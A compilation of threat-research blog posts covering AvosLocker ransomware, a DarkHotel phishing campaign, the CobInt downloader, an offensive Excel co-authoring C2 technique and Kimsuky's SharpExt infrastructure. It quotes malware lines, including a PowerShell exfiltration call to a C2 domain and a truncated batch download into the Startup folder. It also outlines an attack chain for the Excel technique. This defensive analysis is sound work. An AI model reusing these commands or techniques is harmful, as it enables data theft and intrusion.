# AvosLocker Ransomware Behavior Examined on Windows & Linux **Ghanshyam More** **March 6, 2022** AvosLocker is a ransomware group that was identified in 2021, specifically targeting Windows machines. Now a new variant of AvosLocker malware is also targeting Linux environments. In this blog, we examine the behavior of these two AvosLocker Ransomware in detail. AvosLocker is a relatively new ransomware-as-a-service that was first spotted in late June 2021. The attackers use spam email campaigns as initial infection vectors for the delivery of the ransomware payload. During the encryption process, files are appended with the “.avos” extension. An updated variant appends with the extension “.avos2”. Similarly, the Linux version appends with the extension “.avoslinux”. After every successful attack, the AvosLocker gang releases the names of their victims on the Dark Leak website hosted on the TOR network and provides exfiltrated data for sale. The AvosLocker gang also advertises their latest ransomware variants on the Dark Leak website. The gang has claimed, “The AvosLocker’s latest Windows variant is one of the fastest in the market with highly scalable threading and selective ciphers.” They offer an affiliate program that provides ransomware-as-a-service (RaaS) for potential partners in crime. Recently they have added support for encrypting Linux systems, specifically targeting VMware ESXi virtual machines. This allows the gang to target a wider range of organizations. It also possesses the ability to kill ESXi VMs, making it particularly nasty. According to deepweb research by Cyble Research Labs, the Threats Actors of AvosLocker ransomware groups are exploiting Microsoft Exchange Server vulnerabilities using Proxyshell, compromising the victim’s network. CVEs involved in these exploits are CVE-2021-34473, CVE-2021-31206, CVE-2021-34523, and CVE-2021-31207. ## Technical Analysis of AvosLocker Windows Variant ### Command-Line Options The available options allow for control over items like enabling/disabling SMB brute force, mutex creation, or control over the concurrent number of threads. If no options are given, the malware runs with default options, where it ignores encryption of network drives and SMB share. It runs 200 threads concurrently of its file encryption routine. While execution, the malware console displays detailed information about its progress on the screen. Most of the strings in the malware are kept in the XOR encrypted format. The decryption routines are similar, only registers and keys are different. Strings are decrypted just before their use. Initially, the malware collects the command line options provided while launching the application. Then it decrypts the mutex name “Cheic0WaZie6zeiy” and checks whether it is already running or not to avoid multiple instances. AvosLocker uses multi-threaded tactics. It calls the below APIs to create multiple instances of worker threads into memory and share file paths among multiple threads, smartly utilizing the computing power of multi-core CPUs. **APIs called:** - CreateIoCompletionPort() - PostQueuedCompletionStatus() - GetQueuedCompletionPort() The code creates multiple threads in a loop. The threads are set to the highest priority for encrypting data quickly. AvosLocker ransomware performs a recursive sweep through the file system, searches for attached drives, and enumerates network resources using API WNetOpenEnum() and WnetEnumResource(). Before selecting the file for encryption, it checks for file attributes and skips it if “FILE_ATTRIBUTE_HIDDEN” or “FILE_ATTRIBUTE_SYSTEM”. Once the file attribute check is passed, it performs the file extension check. It skips files from encryption if its extension gets matched with one of the extensions. It also contains the list of files and folders that need to be skipped from the encryption. AvosLocker uses RSA encryption, and it comes with a fixed hardcoded ID and RSA Public Key of the attacker. After file encryption using RSA, it uses the ChaCha20 algorithm to encrypt encryption-related information. It appends this encryption-related information at the end of the file with Base64 encoded format. Then it appends the “avo2” extension to the file using MoveFileWithprogressW. It writes a ransom note named “GET_YOUR_FILES_BACK.txt” to each encrypted directory before encryption of the file. The ransom note instructs the user not to shut down the system in case encryption is in progress to avoid file corruption. It asks the victim to visit the onion address with the TOR browser to pay the ransom and to obtain the decryption key to decrypt the application or files. ### AvosLocker Payment System After submitting the “ID” mentioned on the ransom note to AvosLocker’s website, the victim will be redirected to the “payment” page. If the victim fails to pay the ransom, the attacker then puts the victim’s data up for sale. AvosLocker also offers an affiliate program that provides ransomware-as-a-service (RaaS). They provide “helpful” services to clients such as: - Supports Windows, Linux & ESXi. - Affiliate panel - Negotiation panel with push & sound notifications - Assistance in negotiations - Consultations on operations - Automatic builds - Automatic decryption tests - Encryption of network resources - Killing of processes and services with open handles to files - Highly configurable builds - Removal of shadow copies - Data storage - DDoS attacks - Calling services - Diverse network of penetration testers, access brokers and other contacts ## Technical Analysis of AvosLocker Linux Variant In this case, the AvosLocker malware arrives as an elf file. It’s a command-line application having some command-line options. The `<Thread count>` parameter represents the number of threads that can be created to encrypt files simultaneously. It possesses the capability to kill ESXi VMs based on the parameter provided while executing. Upon execution, the malware first collects information about the number of threads that need to be created. Then it checks for string “vmfs” in the file path provided as a command-line argument. After that, it also checks for string “ESXi” in the file path provided as a command-line argument. If this parameter is found, then it calls a routine to kill the running ESXi virtual machine. Further, AvosLocker drops a ransom note file at the targeted directory. After that, it starts creating a list of files that must be encrypted. Before adding a file path to the list, it checks whether it is a regular file or not. Only regular files are added to the encryption list. AvosLocker skips the ransom note file and any files with the extension “avoslinux” from adding into the encryption list. Then it calls the mutex lock/unlock API for thread synchronization. Based on the number of threads specified, it creates concurrent CPU threads. This helps in encrypting different files simultaneously at a very fast speed. AvosLocker’s Linux variant makes use of Advanced Encryption Standard (AES) and elliptic-curve cryptography (ECC) algorithms for data encryption. File-related information along with the encryption key used might be encrypted and then encoded with base 64 formats. This encoded information is added at the end of each encrypted file. Before starting file encryption, it creates a ransom note named “README_FOR_RESTORE“. The content of this ransom note instructs the victim not to shut down the system in case encryption is in progress to avoid file corruption. It asks the victim to visit the onion address with a TOR browser to pay the ransom and to obtain the decryption key and decryption application. ### Indicators of Compromise (IOCs): - **Windows:** C0A42741EEF72991D9D0EE8B6C0531FC19151457A8B59BDCF7B6373D1FE56E02 - **Linux:** 7C935DCD672C4854495F41008120288E8E1C144089F1F06A23BD0A0F52A544B1 ### URL: - hxxp://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad[.]onion - hxxp://avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad[.]onion ### TTP Map: - **Initial Access:** Phishing (T1566) - **Execution:** User Execution (T1204) - **Defense Evasion:** Obfuscated Files or Information (T1027) - **Discovery:** System Information Discovery (T1082) - **Impact:** Encrypted for Impact (T1486) - **Initial Access:** File and Directory Discovery (T1083) - **Impact:** Inhibit System Recovery (T1490)
# Suspected DarkHotel APT Activity Update **By Thibault Seret and John Fokker · March 17, 2022** ## Introduction Our advanced threat research team has discovered a first-stage malicious campaign targeting luxury hotels in Macao, China since the latter half of November 2021. The attack started with a spear phishing email directed to the hotel’s management staff in roles like the vice president of HR, assistant manager, and front office manager. Based on the job titles, we can assume that the targeted individuals have sufficient access to the hotel’s network, including the booking systems. The email used for this spear phishing attack contains an attachment with an Excel sheet. This Excel sheet is used to trick the victim and enable malicious macros embedded when it’s opened. Those macros enable several mechanisms detailed in the Technical Analysis part and summarized in the Infection Flow Chart below. Firstly, macros create a scheduled task to perform recognition, data listing, and data exfiltration. Then, to enable communication with the Command-and-Control server used to exfiltrate victim data, macros are using a known lolbas (Living Off the Land Binaries and Scripts) technique to perform PowerShell command lines as trusted script. An external report written in late December 2021 by Zscaler’s research team talked about APT DarkHotel activity with a detailed analysis of a new attack chain. In this paper, IP related to the C2 infrastructure used for system information exfiltration mentioned: “23.111.184[.]119”. Once exposed, we often see threat actors move their operation to different infrastructure or halt their operations for some time. However, in this case, neither happened, and the IP has been used by the actor continuously even after we finished our initial research. This IP was used by the actor to drop new payloads as first stages to set up the victim environment for system information exfiltration and potential next steps. Those payloads were used to target major hotel chains in Macao, including the Grand Coloane Resort and Wynn Palace. Trellix’s customers are protected from this threat thanks to our technologies. Generic signatures names have been attributed: “RDN/Generic Downloader.x” and “BehavesLike.OLE2.Downloader.cg". ## DarkHotel Background DarkHotel, a suspected South Korean advanced persistent threat (APT) group, is known for targeting law enforcement, pharmaceuticals, and automotive manufacturers, along with other industries. The group got their name by targeting hotels and business hotel visitors through spear phishing campaigns with malicious code to steal sensitive data from top executives like CEOs and sales leaders while staying in luxury hotels. ## Attribution We attribute this campaign to DarkHotel with a moderate level of confidence. In our research, we came across the following pieces of evidence that support the possible DarkHotel attribution: - The IP mentioned has been attributed to DarkHotel C2 activity by the cybersecurity community. - The targeted sector and the country fit within the DarkHotel target profile. - The Command-and-Control panel presents known development patterns attributed to DarkHotel APT. However, we have lowered our confidence level to moderate because the specific IP address remained active for quite some time even after being publicly exposed, and the same IP address is the origin of other malicious content not related to this specific threat. These two observations have made us more cautious in our attribution. ## Campaign Analysis We will detail the suspected DarkHotel technical behavior in this specific campaign. On Tuesday, December 7, 2021, an email was sent to seventeen different hotels in the Macao area from the “Macao Government Tourism Office” with an attachment to the email, an Excel file named “信息.xls” (information.xls). We were able to identify the seventeen hotels by examining the mail headers of the phishing mail. In another email related to this campaign, the actor is luring the hotel’s staff victim by asking them to complete the Excel file to specify which people were staying at the hotel and with the subject “passenger inquiry”: > Dear Sir/Madam, > Please open the attached file with enable content and specify whether the people were staying at the hotel or not? > Yours faithfully, > Inspection Division - MGTO ## Technical Analysis **Name:** 信息.xls (Information.xls) **Sha256 hash:** a251ac8cec78ac4f39fc5536996bed66c3436f8c16d377922187ea61722c71f8 By looking at the code related to the Excel file, we can determine which operational system and Office version have been used to generate it. The “DocumentSummaryInformation” stream provides information regarding the Office version used. In this case, the version is “983040,” which is related to Excel 2013. We can assume the actor used Windows 8 to create this Excel file because the 4-byte PropertySetSystemIdentifier indicates the Major and minor version OS, and here Windows 0x06 0x02 = Windows 8. The Excel file was password protected with the default password “VelvetSweatshop.” After decryption, the Excel file displays some decoy information to interest the victim. The file embedded macros are triggered when the file is open. Those macros have several mechanisms that we will detail. Malicious macros are stored into “Module1.bas” stream. The macros are obfuscated to make the analysis more complex and create a ton of loops to decode strings, orders, etc., to prepare the victim environment for sending information to the C2. As a loop example, one function is dedicated to creating a COM object that loads the Task Scheduler Service by implementing “Schedule.Service” to schedule a task. By using this mechanism, privileged users can schedule a task on the host without using the “schtasks.exe” binary. Here are the different schedule task’s settings associated: - Connect - GetFolder - NewTask - Settings - StartWhenAvailable - RunOnlyIfNetworkAvailable - StopIfGoingOnBatteries - DisallowStartIfOnBatteries **Functions summary:** - Drop VBS script in “C:\\Users\USER\AppData\\Roaming\\Microsoft\\Windows\\” - Launch wscript with associated arguments - Launch PowerShell with associated command lines - Delete created files - Check for “Syncappvpublishingserver.vbs” in “\System32”. The “wscript.exe” binary is used to execute the script dropped earlier in “C:\\Users\USER\AppData\\Roaming\\Microsoft\\Windows\\” named “prcjobs.vbs” in addition to a first PowerShell command line used as an argument. This script is used to set many things. First, it creates many temporary environment variables to allocate space and obtain the computer name and RMOT indicator to indicate to the hard-coded C2 the victim's name. Then, it crafts a stream to exfiltrate this data and connect it to the C2 “fsm-gov.com”. Then there is a function that, we assume, is checking if the host is already compromised by looking for the “sc” string as an environment previously set for the “RMOT” indicator. If the host is compromised, the script will delete files related to the attack. Another Excel file sample used by the group with more PowerShell mechanisms with the same configuration (C2 connection, macros, etc.) has been spotted around the same period. We assume the previous sample was the first try from the actor, and this one is the next version: **Name:** 信息.xls **Sha256 hash:** 163c386598e1826b0d81a93d2ca0dc615265473b66d4521c359991828b725c14 In this case, as previously mentioned, macros and C2 configuration (environment variables, stream crafting, etc.) are the same. Also, metadata are the same as with the previous Excel sheet (operational system and office version used). This means we can assume those Excel sheets have been created on the same machine or at least, by the same group. The main difference with the previous sample lies in the PowerShell mechanisms. During the macro’s decryption, we mentioned that the file was looking for “SyncappvpublishingServer.vbs” into “\System32”. The reason is requesting this file with “wscript.exe” in addition to PowerShell command lines as arguments allows the current user to execute a script signed by Microsoft. So basically, trusted and not blocked on the host machine. The first step is calling “SyncappvpublishingServer.vbs” through “wscript.exe” and passing as arguments the command lines you’d like to use. The Command-and-Control server URL “https://fsm-gov.com” is hard-coded and clearly visible in the code. The objective of the script is the same as the previous script. ## Command-and-Control Examination The Command-and-Control server, hxxps://fsm-gov.com, used to spread this campaign was trying to impersonate a legitimate government website domain for the Federated States of Micronesia. However, the real Micronesia website domain is “fsmgov.org”. The domain used by the C2 is “fsm-gov.com”. It looks like the IP is owned by Hivelocity and hosted on “hosterbox.com” which provides shared VPS; this could explain the abundance of unknown other malicious activity. We tried to reach out to Hivelocity to get more details for this machine, but they weren’t willing to collaborate. The backend is quite similar to previously reported Command-and-Control related to DarkHotel. By examining the specific C2 server, we were able to determine that the threat actors chose to use Mailman to spread the emails to their targets. ## Campaign Objectives Based on targeting, we suspect the group was trying to lay the foundation for a future campaign involving these specific hotels. After researching the event agenda for the targeted hotels, we did indeed find multiple conferences that would have been of interest to the threat actor. For instance, one hotel was hosting an International Environment Forum and an International Trade & Investment Fair, both of which would attract potential espionage targets. But even threat actors will get unlucky. Due to the rapid rise of COVID-19 in Macao and in China in general, most events were canceled or postponed. This could explain why the actor stopped spreading their malicious payload after the 18th of January. ## Government Alerts Thankfully, the Macao Security Force Bureau became aware of the campaign in December 2021: The Macao Security Forces Bureau (MSSB) has received a notification from the Cyber Security Incident Alert and Emergency Response Center of the Police Department that a web domain name (fsm-gov.com) with a highly similar name to the official web page of the Macao Security Forces has been discovered, and it is suspected that unlawful elements are using email to send fraudulent emails to commit illegal acts. The Macao Security Forces Affairs Bureau and the Administration have immediately followed up on the situation. The Macao Security Forces Affairs Bureau would like to urge and remind the public to be vigilant when browsing the Internet and not to access suspicious links or send any personal information to suspicious websites or emails. If you have any suspicion, please call the complaints and enquiries hotline of the Macao Security Forces Bureau at 87997777 to verify the situation to prevent being deceived. Alternatively, you may call the Judicial Police Fraud Enquiry Hotline at 8800 7777 or the Crime Reporting Hotline at 993 for assistance. ## Other Criminal Activity Related to the C2 IP Earlier in our report, we mentioned that we observed not only the campaign targeting a hotel chain originating from the specific IP but also other malicious activity. One of these campaigns was targeting MetaMask crypto users and presenting them with a Collab.Land phishing page. A quick glance at the source of the webpage confirmed our suspicions; MetaMask users were prompted to fill in their credentials which were then sent to a Discord server used for credential harvesting. Given the difference in threat actor TTPs, we believe with a high level of confidence that this phishing campaign is not related to the suspected DarkHotel campaign described in this blog. The association of this IP with a large amount of malicious activity would have put this IP on all of the major block lists, essentially limiting their ability to infect their targets right from the start. This unwanted attention does not speak in favor of a cyber espionage campaign and is why we adjusted our confidence level for an APT attack to moderate. ## Conclusion Regardless of the exact threat actor attribution, this campaign demonstrates that the hospitality sector is indeed a valid target for espionage operations. Executives should be aware that the (cyber) security of their respective organizations doesn’t stop at the edge of their network. In the past, there have been multiple examples where knowing who was staying where and attending which conference was an essential step in a threat actor targeting process, which either led to a digital or in-person follow-up. In this campaign, the COVID-19 restrictions threw a wrench in the threat actor’s engine, but that doesn’t mean they have abandoned this approach. Therefore, we advise travelers to use their security due diligence when traveling from hotel to hotel. Only bring the essential devices with limited data, keep security systems up to date, and make use of a VPN service when using hotel Wi-Fi. ## MITRE ATT&CK | Technique | Technique ID | Description | Observable | IOC | |--------------------|------------------|--------------------------------------|---------------------------|------------------------------------------| | Spearphishing | T1566.001 | Send malicious Excel file through email | | | | Malicious File | T1204.002 | Malicious Excel file | | | | Visual Basic | T1059.005 | Excel file Macros | | | | File Deletion | T1070.004 | Delete files after process execution | | | | Native API | T1106 | Use of Windows native APIs | | | | Query | T1012 | Query registry values | | | | Scheduled Task | T1053 | Schedule a task for the “wscript.exe” process | | | | Scripting | T1064 | Excel File Macros, PowerShell scripts, VBS scripts | | | | Standard Application Layer Protocol | T1071 | Connect to “fsm-gov.com” with PowerShell | $wc.uploadstring('https://fsm-gov.com', 'post', (('--'+$bu), ('Content-Disposition: form-data; Name='+$dq+'Sync'+$dq+'; fileName='+$dq+'Sync'+$dq+$lf),$rs,('--'+$bu+'--'+$lf) -join $lf)) | | | Command and Scripting Interpreter: PowerShell | T1059.001 | PowerShell command lines | | | ## Detection Mechanisms **Sigma Rules:** - Too Long PowerShell Commandlines: [Link](https://github.com/SigmaHQ/sigma/blob/6f5271275e9ac22be9ded8b9252bce064e524153/rules/windows/process_creation/sysmon_long_powershell_commandline.yml) - Windows Suspicious Use Of Web Request in CommandLine: [Link](https://github.com/SigmaHQ/sigma/blob/eb382c4a59b6d87e186ee269805fe2db2acf250e/rules/windows/process_creation/process_creation_susp_web_request_cmd.yml) - Stop Windows Service: [Link](https://github.com/SigmaHQ/sigma/blob/69be18d343db717b6fcac9e0b52aea9a8908701d/rules/windows/process_creation/win_service_stop.yml) - Suspicious PowerShell Invocation Based on Parent Process: [Link](https://github.com/SigmaHQ/sigma/blob/69be18d343db717b6fcac9e0b52aea9a8908701d/rules/windows/process_creation/win_service_stop.yml) - Net.exe Execution: [Link](https://github.com/SigmaHQ/sigma/blob/69be18d343db717b6fcac9e0b52aea9a8908701d/rules/windows/process_creation/win_service_stop.yml)
# New Modular Downloaders Fingerprint Systems - Part 3: CobInt **Overview** Proofpoint researchers discovered two new modular downloaders this summer: Marap and AdvisorsBot, both of which were noteworthy for their small footprints, stealthy infections, and apparent focus on reconnaissance. We have also observed an actor commonly known as Cobalt Gang using another new downloader that shares many of these characteristics since early 2018. Group-IB named this malware “CobInt” and released a report on its use by Cobalt Gang in May. While we noticed that Cobalt Gang appeared to stop using CobInt as a first-stage downloader around the time researchers at Group-IB published their findings, they have since returned to using the downloader as of July. Arbor Networks also recently released a blog post detailing some of the renewed CobInt activity. In this post, we describe recent activity that we have observed and analyze the multi-stage CobInt malware in detail. ## Campaign Analysis On August 2, 2018, we observed messages with the subject “Подозрение на мошенничество” (Translated from Russian: “Suspicion of fraud”) purporting to be from “Interkassa” using a sender email address with a lookalike domain “denis[@]inter-kassa[.]com”. The messages contained two URLs. The first linked to a macro document that ultimately installed the More_eggs downloader, while the second linked directly to the CobInt stage 1 executable. This campaign was also detailed in Arbor’s report. On August 14, 2018, we observed messages spoofing the Single Euro Payments Area (SEPA) with lookalike sender domains sepa-europa[.]com or sepa-europa[.]info and subjects such as “notification”, “letter”, “message”, and “notice”. The messages contained: 1. A Microsoft Word attachment (sepa rules.doc) -- a ThreadKit exploit document that would exploit CVE-2017-8570, CVE-2017-11882, or CVE-2018-0802 -- to execute the embedded CobInt Stage 1 payload. 2. In some cases, URLs linking directly to the CobInt downloader. On August 16, 2018, we observed messages purporting to be from Alfa Bank using a lookalike domain aifabank[.]com and subjects such as “Fraud Control”, “Фрауд” (Translates to “Fraud”), “Предотвращение хищения” (Translates to “Prevention of theft“), and “Блокирование транзакций” (Translates to “Transaction Blocking”). The messages contained URLs linking to a hosted ThreadKit exploit document that would exploit CVE-2017-8570, CVE-2017-11882, or CVE-2018-0802, to execute the embedded CobInt Stage 1. On September 4, 2018, we observed messages purporting to be from Raiffeisen Bank using lookalike sender domains ralffeisen[.]com and subjects such as “Fraudulent transaction”, “Wire Transfer Fraud”, and “Request for data”. The messages contained a Microsoft Word attachment that used a relationship object to download an external VBscript file containing an exploit for CVE-2018-8174 leading to the execution of CobInt stage 1. ## Malware Analysis CobInt is a downloader malware written in C. Its name is based on the association of the malware with the “Cobalt Group” threat actor and an internal DLL name of “int.dll” used in some of the samples. The malware can be broken up into three stages: an initial downloader that downloads the main component, the main component itself, and various additional modules. ### Stage 1: Basic Downloader The first stage is a basic downloader with the purpose of downloading the main CobInt component. As with other downloaders we have examined recently, its functionality is disguised by the use of Windows API function hashing. The command and control (C&C) host and URI are stored as encrypted strings. The encryption algorithm is a basic XOR with a 4-byte key that changes from sample to sample. In the analyzed sample (from August 14) the C&C host and URI were “rietumu[.]me” and “xaczkajeieypiarll” respectively. The next stage is downloaded via HTTPS. The response data is encrypted using three layers: 1. A character-based substitution cipher 2. Base64 encoding 3. XOR using the same XOR key as used for string encryption The decrypted data contains a DLL, which is CobInt’s main component. Stage 1 finishes by loading and executing the DLL. ### Stage 2: Main Component The main component downloads and executes various modules from its C&C. C&C hosts are stored in a 64-byte chunk of encrypted data. They can be decrypted by XORing with a 64-byte XOR key. The malware uses HTTPS to communicate with the C&C server. The C&C URI is similar to the stage 1 URI, but instead of being hardcoded, the URI is generated for each request. The URI generation encodes information that is likely used as a “bot ID” to identify the victim. An example of response data is meant to look like an HTML file by including various HTML tags, but contains encrypted data. It can be decrypted using a specific process. We have identified four commands that may be sent to the malware from the C&C: 1. Load/execute module 2. Stop polling C&C 3. Execute function set by module 4. Update C&C polling wait time ### Stage 3: Modules Command 1 implements the main functionality of CobInt: to download and execute additional modules. The data for this command is organized in a specific binary structure. Modules are loaded as shellcode and begin executing at the indicated entry point. The code at the entry point XOR decrypts itself with a 4-byte XOR key that changes from module to module. Once decrypted, the module turns into a DLL. When the module DLL is executed, an “operations” function is also passed to it from the main component that defines two operations: 1. Queue data in the main component to be sent to the C&C server 2. Register a function to be executed by command 3 Module responses and error messages are queued up and sent to the C&C server during the next command poll request. If there are any messages to be sent during the command poll, the HTTPS request is switched from GET to POST and the message is included as POST data. At the time of publication, we have observed two modules being sent from a C&C server, whose function was to: 1. Send a screenshot to the C&C 2. Send a list of running process names to the C&C We assume then that, following the reconnaissance actions above, threat actors would deploy additional modules to infected systems of interest. ## Conclusion CobInt provides additional evidence that threat actors are increasingly looking to stealthy downloaders to initially infect systems and then only install additional malware on systems of interest. As defenses improve across the board, threat actors must innovate to improve the returns on their investments in malware and infection vectors, making this approach consistent with the “follow the money” theme we have associated with a range of financially motivated campaigns over the years. This appears to be the latest trend as threat actors look to increase their effectiveness and differentiate final payloads based on user profiles.
# XLS Entanglement - BC Security July 14, 2021 VBA tradecraft is constantly evolving, and this past winter, I came across some articles from Adepts of 0xCC. Specifically, their article *Hacking in an Epistolary Way: Implementing Kerberoast in Pure VBA* caught my attention, and I wanted to see if it would be possible to create a pure VBA implementation of a C2 architecture. I developed some rudimentary POC that I am going to share here. ## Offensive VBA First, we will go over what makes VBA a somewhat powerful option and then we will discuss a new technique that we are calling XLS entanglement. We are also publishing a whitepaper that goes into more detail about how this attack works. While VBA is an infamously disparaged language by programmers, that does not change the fact that it also has many of the capabilities that attackers value in targeting modern Windows environments. Specifically, it has access to COM interfaces and can directly interface with the WIN32 API, meaning that most attacks can be reimplemented in pure VBA. For example, the aforementioned Adepts of 0xCC’s kerberoasting implementation. Their VBA implementation relies on the use of the Declare function, which allows for VBA to call functions from any registered DLL. More importantly, Declare provides access to powerful functions inside Windows and is a natively included capability for Office products with documentation and examples provided by Microsoft. In fact, VBA has nearly every capability that other offensive languages offer, except the ability to reflectively load code. Reflection is a key method allowing attackers to create modularized code that can be retrieved remotely and executed without the need to send it all at once. Without the ability to do this, VBA would be extremely limited as an offensive language. Fortunately, there is a workaround to create pseudo-reflection by exposing the VBA project and dynamically adding modules. **Note:** Outlook is a notable exception as the only Office application that does not allow access to the VBA project. Below shows how after exposing the VBA project, we could read a string from a cell and then execute it. There is one major limitation of this method: there is a registry key that must be modified in order to access the VBA project. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\<version>\<product>\Security\AccessVBOM` This registry key must be set to 1 for the pseudo-reflection method to work. This is a userland key, so it may be edited without elevated privileges but is a detection chokepoint that can be easily monitored. Microsoft has also prevented a macro project from being able to modify this key for itself. For example, if an Excel project were to run a macro to modify this key, the Excel project would still be unable to modify itself. One potential solution for this would be to use SendKeys to move through the menus and manually turn this off. But that would be incredibly obvious to the user, and SendKeys is not the most reliable. However, it turns out that as long as the process that changes the registry key is not a child process of our Office product, then we can edit the registry, which includes other Office products! So a Word document can edit the registry key for Excel and vice versa. As a result, we have some interesting tradecraft available to us because Office products can also launch other Office products and add modules to them. This includes opening the Office product in a hidden window. Here is an example of modifying a registry key and then running Hello world as a pop-up. The GitHub repo that is being published today contains an interesting use case on how this enables us to turn Outlook into a functioning C2, while only requiring us to launch Excel or Word to execute arbitrary code. We no longer need to launch PowerShell or cmd.exe and don’t have to wait for our beacons to reach back to us, as we can simply send an email to execute our payload. The whitepaper contains more information on how this would work. But for this blog post, I want to focus on a new technique that we are calling XLS Entanglement. ## XLS Entanglement XLS Entanglement is a novel technique in which a malicious macro-enabled Excel document can be hosted in OneDrive and be used to execute arbitrary dynamic VBA code on a paired machine. This attack effectively allows the Excel document to host a rudimentary C2. It gets the Entanglement name from the fact that all the attacker updates are immediately reflected on the victim’s computer. There is no need to run any additional architecture or spawn any other processes once the document has been opened. This attack abuses the collaborative co-authoring ability of OneDrive or SharePoint hosted documents. Microsoft was seemingly aware of the potential abuse for this and explicitly disabled co-authoring for macro-enabled Word and PowerPoint documents. However, that is not true for Excel documents. Microsoft has made some efforts to prevent this from being abused by blocking many of the common event triggers that are used offensively. For example, timing triggers that use Application.ontime are blocked from execution, and changes initiated by a different user will not cause change event triggers to execute. This requires the use of an alternative trigger, and in this case, we create a “Listener” by using a non-blocking loop that monitors a cell in the Excel document waiting for a change. ### Entanglement Listener Macro This remote trigger grants the ability to arbitrarily execute a macro on-demand but does not provide many advantages compared to standard auto-execution attacks. Instead, a better option would be to not only trigger a macro but arbitrarily update the code as well. Since the victim already has a collaboratively edited document, the preferred place to start is by simply editing the code in the macros already in the document. However, Microsoft has intentionally made it so that when a remote user updates macro code in real-time, co-authoring is stopped and updates are prevented until the local user re-opens the document. Interestingly enough, using the VBA project as we talked about above does not cause the document to be locked out in the same way that modifying the code directly does. So using the same injection code from above, we can do something like the code below. The result is that once a victim has opened the document, then the attacker would have an Excel document interface to the target machine. At this point, they don’t even need to have Office installed on the computer they are operating from. It can be managed entirely from the web-based Office 365 applications. This attack does still have to contend with the AccessVBOM registry key restrictions, and it would also raise a victim’s eyebrows to see a bunch of code popping up on the screen of the document they just opened. So they are likely to close the document relatively quickly. Instead, we could send the target a phishing document that will update the required registry key and then launch the entangled XLS document. Sounds like a great plan! Right? This is where we hit a snag. For some unknown reason, OneDrive Personal and OneDrive for Business are completely incompatible products. In fact, this is one of the most requested features on the Microsoft UseVoice website, and Microsoft has said they are considering it. Why does this matter? Well, it’s not possible to share documents for co-authoring to random people with OneDrive for Business. The recipient has to be added to the organization’s access list, which involves requesting the person to accept the invitation to join the organization. As a result, we have to hope that the target has a personnel account logged on their computer, or we need a way to log them into an account. The good news is that we can automate the login process through VBA. The bad news (or well good from a defender perspective) is that the POC in the repo is unable to hide the login window completely, which means that we would likely be constrained to waiting for evening time when the user is unlikely to be at their computer and then triggering the login process. This blog is already getting long, so I will refer you back to the whitepaper and GitHub repo for more detailed explanations on the whole process. ## Full-Attack Path The workaround to cross between OneDrive for Business and standard OneDrive is to create a new Excel document that will make the call to open the co-authoring document and drop it into a trusted location for the macros to automatically execute. This has to be done because Office Applications are single-threaded, and attempting to open the co-authoring document from the phishing email will block the macro from automating the login process. Alternatively, another process such as PowerShell could be launched without a child relationship to open the remote Excel document without dropping an Excel document to disk, but for this POC, the goal was to conduct the entire process in VBA. Now there are several default trusted locations that are user-editable. Two examples of the most commonly used directories are `%APPDATA%\Microsoft\Excel\XLSTART` and `%APPDATA%\Microsoft\Excel\Templates`. Alternatively, you can modify the registry key to allow for VBA execution from any location. Next, we will want to use Shell to launch the Excel doc as a new process. This will allow us to hijack the login sequence without blocking the macro execution. Then once the Excel window is launched, the script will use SendKeys to send the credentials. This method uses the Win32 API and only requires the use of a OneDrive account. Meaning, a throwaway account can be used for Entanglement, and once the victim has been authenticated to the malicious OneDrive account, it will allow for further execution of malicious activities. Now let’s assemble the entire attack chain: 1. The victim receives a phishing email with a malicious document 2. Victim launches the malicious document 3. The malicious document creates a new document for XLS Entanglement 4. The malicious document sends login credentials to the XLS Entanglement document 5. The XLS Entanglement document begins receiving taskings through the C2 6. The attacker provides malicious commands through their end of the XLS Entanglement The proof of concept demonstrates the capability to use VBA and Office products as an end-to-end C2, but the XLS Entanglement attack could also be deployed in conjunction with a compromised Azure Persistent Refresh Token (PRT) as outlined in Dirk-jan Mollema’s research. This would significantly simplify deployment as it would be hosted on a OneDrive or SharePoint that all users would already have access to. It would also allow the C2 to be entirely deployed within the victim organization’s infrastructure. Co-Authoring represents a fascinating attack surface that remains relatively unexplored, partly due to the difficulty of sharing with an unknown recipient. As token compromise becomes more explored, there will likely be an increase in these types of attacks. Written by: Hubbl3
# Pivoting on a SharpExt to Profile Kimusky Panels for Great Good By: Jason Reaves and Joshua Platt August 9, 2022 Volexity recently released a blog detailing a browser extension malware dubbed SharpExt being leveraged by Kimusky. The goal of SharpExt is to ultimately steal emails and attachments from the victims. This blog is purely meant to expand on existing work from items we recovered through our pivoting and research. Pivoting on their research along with some research from Huntress, we also found a connection to earlier campaigns in a report from 2021. One site in particular was interesting. The site has been utilized by Kimusky for over a year and earlier this year was updated to deliver the browser extension code. The bg.js file from nuclearpolicy101 also listed the same C2 as the Volexity blog: ```javascript var g_url = "https://gonamod.com/sanghyon/index.php", g_devtabs=[]; ``` A second IOC listed from Volexity, siekis.com, is a little more interesting. This site is not a compromised site but something actor controlled. The site is hosting multiple websites along with connections to some of the campaigns detailed from Huntress. However, the VPS folders have been renamed. Current domains setup on this server include: - dusieme.com - eislesf.live - ielsems.com - ilijw.live - siekis.com - soekfes.live - sqiesbob.com Some of the domains that are leveraged for the campaigns can be seen in the aforementioned blogs. The structure of these is normally a mix of the following files: - cow.php - d.php - index.php - upload.php - doc.php - macro.php - resp.php The other files in the folder are related to the various PowerShell, batch files, DLLs, and browser extensions that are delivered. Some of the other domains are leveraged for C2 activity from the browser extension along with any necessary files needed by the browser extension. These folders usually consist of the following: - index.php - manage.php - code.js - list.txt - black_list.txt - att/domain/mail/ Through our research, we were able to map out some victimology based on traffic data. The hot spots mostly just seem to confirm other reporting on intended targets as the United States, Europe, and South Korea. ## Older Campaigns During our research, we also recovered information from older campaigns that did not utilize a browser extension. Surprisingly, the actor(s) appeared to leverage UltraViewer in some engagements. Judging by documents we recovered, the group continues to be very active: - ESDU Tokuchi.doc - Interview memo_Gareth.doc - Donga-A_VAN.doc - TBS TV_Qs.doc - NEWSIS_interview.doc - China.doc - Interview memo_Ralph.doc - US-ROK Tech Cooperation Goodman.doc - CM College_interview.doc - Interview memo_patrick.doc - Upholding the RBO in the Indo-Pac.doc Similar to past campaigns, they continue to use HWP (Hangul Word Processor) documents: - The Burden of the Unintended.hwp Upon execution, the HWP documents execute a batch file similar to the one below: ```batch kill /im OneDriveStandaloneUpdater.exe /f taskkill /im OneDriveStandaloneUpdater.exe /f curl -o "%appdata%\microsoft\windows\start 